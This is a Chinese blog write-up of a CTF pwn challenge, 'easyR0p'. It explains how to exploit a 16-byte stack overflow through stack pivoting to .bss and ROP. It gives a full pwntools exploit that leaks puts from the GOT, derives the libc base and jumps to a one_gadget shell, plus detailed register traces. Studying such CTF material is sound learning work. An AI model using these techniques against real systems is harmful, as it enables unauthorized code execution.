欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

pwn-栈迁移-ROP

程序员文章站 2022-05-15 21:34:02
...

pwn-栈迁移-ROP# 栈迁移-ROP

题目描述

这里给出题目链接

https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p

程序的结构很简单,main()函数中有一个while(1)的循环,循环中rop()函数执行。

rop()中有明显的栈溢出,最开始给s申请的内存空间为:0x40;然而read()可以读入0x50字节。

于是就可以通过溢出修改程序控制流。

解题思路

题目是别人解析出来的,我目前只能达到能看懂exp的境界…….这里就是翻译别人的exp吧

1.checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

可以看到启动了”栈不可执行”的保护机制;也就限制了不能在栈上运行代码。

2.寻找二进制文件提供的信息

system()

没有找到可用的system()函数

方法一:readelf -r easyR0p
方法二:在IDA-pro中使用alt+t;查找system
方法三:直接看IDA-pro中的.got.plt段信息

/bin/sh

没有找到可用的”/bin/sh”字符串

在IDA-pro中使用alt+t;查找system

可泄露的函数

readelf -r easyR0p

pwn-栈迁移-ROP

这里泄漏的是puts()函数地址;满足:地址中没有0a,并且是@plt函数

libc(offset/gadget/puts)

ldd easyR0p

pwn-栈迁移-ROP

可以知道,程序执行过程中使用libc.so.6,于是我们可以得到相应的offset

#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']

pwn-栈迁移-ROP

one_gadget ./libc.so.6

pwn-栈迁移-ROP

可控制字节数

gdb eadyR0p
pattern_create
pattern_offset

pwn-栈迁移-ROP

可以看到发生了栈溢出,此时esp(栈顶)内容为IAAeAA4A

pwn-栈迁移-ROP

于是我们可以找到,我们一共可以输入80bytes内容,其中最后8bytes内容可以控制程序的执行流。其中读入到s的字符串长度为64byts,这时的栈情况为:

------------------------------high-address
64bytes 合法内容
8bytes old-ebp
8bytes ret-address
-------------------------------low-address

可见我们可以控制的长度一共有16bytes。

3.思路整理

linux漏洞利用之 – ROP探究

文章是关于ROP姿势的阶段性总结,里边针对不同的函数情形采取不同的方法构造ROpe

从上文可以看到,已知的二进制程序中没有可用的system()地址、/bin/sh地址、也没有可用的execve();可控制字节数为16bytes,并且栈不可执行

one_gadget && system(“/bin/sh”)

如果是system(“/bin/sh”),需要从libc.so.6中找到system()、/bin/sh,并设计执行。相比而言,在这种情况下,one_gadget()(即exceve(“/bin/sh”))更容易。因此想办法构造执行one_gadget。

于是需要获取libc_base_address—>one_gadget_address

获取libc_puts

通过puts()地址泄露,可以得到libc_base_addres

上述两个操作无法在16bytes内完成,于是需要在可读写、可执行的bss段进行构造,也就是说需要进行栈迁移

栈迁移

leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

How to ROP

覆盖EBP实现栈迁移

注释: 利用的时候利用read_syscall 到execve_syscall 利用返回值当参数

注意积累栈迁移的做法,pop ebp, ret 并且利用read函数的写入功能,将执行地址写入到数据段,然后栈迁移到数据段(pop ebp; ret), 再利用 leave; ret p32(pop ebp;ret) + p32(buf - 4) + p32(leave; ret) 这样进行栈迁移

引文中提出了栈迁移的方法,需要借助:read()以及”leave/ret”将ebp修改到数据段bss;同时将希望执行的exp指令写入到数据段中,在数据段构造函数栈。

我们可以看到,该二进制文件中存在可用的read()函数,并且有可用的leave;ret

这里值得注意的是0x4006f5这行中的s是-40h;也就是从fd中读取bytes到[ebp-40h]

pwn-栈迁移-ROP

解读已有的exp

pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??

rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)
rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)
pause()

time.sleep(1)
data=r.recv(1000)
data=[i for i in data.split('\n') if i!='']
leak=data[-1]
leak=leak.ljust(8,'\x00')
leak=u64(leak)
print 'leak puts-->',hex(leak)

libc=leak-0x6f690
one=libc+0x4526a

rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

pause()
r.send(rop)
r.interactive()

这段exp还不是我写的,下面我将详细解析每一小段的含义以及运行之后的内存情况。

用到的address

pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??
ROPgadget --binary easyR0p --only "pop|ret"

pwn-栈迁移-ROP

获取puts_plt和puts_got方法:

方法一:命令行
readelf -r easyR0p
gdb中使用:info func
方法二:在IDA-pro中查看.plt段内容和.plt.got段内容

pwn-栈迁移-ROP

pwn-栈迁移-ROP

但是至于那个bss的地址为什么是这个我就比较迷了……因为当我使用命令查看.bss地址没有找到这个,并且IDA中也不存在这个地址对应的内容。我目前猜测的是,是在bss段自己开辟了一段空间。

readelf -S easyR0p

pwn-栈迁移-ROP

我目前只能找到这个数字….emmmm离0x601100不太远…..这个问题以后慢慢解决

至此,这几个数字就解释完了

第一段rop

rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

这段构造了一个0x50长度rop;发送之后栈结构为:

ebp=0x7ffe24397020
esp=0x7ffe24396fe0

pwn-栈迁移-ROP

接着的代码段如下,这几条指令执行完之后会将[rbp-0x40h]地址给rdi;这就是puts函数的参数;然后puts()执行之后有leave;ret;然后会:

esp=0x7ffe24397020
ebp=0x601180
esp=0x7ffe24397028
eip=0x4006f5
esp=0x7ffe24397030
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

pwn-栈迁移-ROP

到这里,就将程序流劫持到0x4006f5了,这里会进入read()

pwn-栈迁移-ROP

这里是在处理read()函数的参数,其中fd:edi为0;count:edx为50;buf:rsi为[rbp-0x40],即0x601140。也就是要从stdin读入0x50字节到数据段0x601140处。这里就相当于栈迁移了,接下来就要发送第二段rop,将exp指令写入到数据段中。

第二段rop

rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)

rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)

rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)

第一段rop提供了Read()函数,将上边这段rop写入到0x601140中

pwn-栈迁移-ROP

接下来的代码段内容为:

pwn-栈迁移-ROP

此时

rdi=rax=0x601140
rbp=0x601180
rsp=0x7ffe24397030
然后将rdi指向的内容puts(结果时栈结构什么的都木有变化呀...)
#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601180
rbp=[0x601180]=0x601138
rsp=0x601188
eip=[0x601188]=0x40071c
rsp=0x601190

这时ret命令结束的时候,返回到0x40071c地址处,这里的代码段为:

pwn-栈迁移-ROP

于是再一次执行leave;ret

#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601138
rbp=[0x601138]=0x0
rsp=0x601140
eip=[0x601140]=0x4007d3

接着开始执行0x4007d3;栈结构变为

pwn-栈迁移-ROP

#0x4007d3 pop rdi;ret
rdi=[0x601148]=0x601020
next_address=0x400580   #puts_plt

接着开始执行puts_plt;这个过程结束之后可以认为栈结构没有发生变化;但是将rdi(0x601020)中的内容(puts_address)puts出来了;ret之后进入到0x400625;

#0x400625:pop rbp;ret
rsp=0x601160
rbp=[0x601160]=0x116080
rsp=0x601168
eip=0x4006f5
rsp=0x601170

这之后就进入到0x4006f5;read()函数;这就引导我们输入下一个rop了;进入下一个rop之前,需要先弄清read()函数的参数

pwn-栈迁移-ROP

可以看到,和上次一样,从stdin读入0x50h字节到0x601140中;也就是将下一段rop读入到0x601140中

第三段rop

rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

pwn-栈迁移-ROP

此时

rbp=0x601140
rsp=0x601168
eip=[rsp]=0x00007f16ea27c26a

接下来就执行one_gadget了

技能总结

在IDA-pro中使用alt+t;查找system
checksec
readelf -r easyR0p
ldd easyR0p
one_gadget ./libc.so.6
gdb eadyR0p
pattern_create
pattern_offset
ROPgadget --binary easyR0p --only "pop|ret"
gdb中使用:info func
readelf -S easyR0p
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器
#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']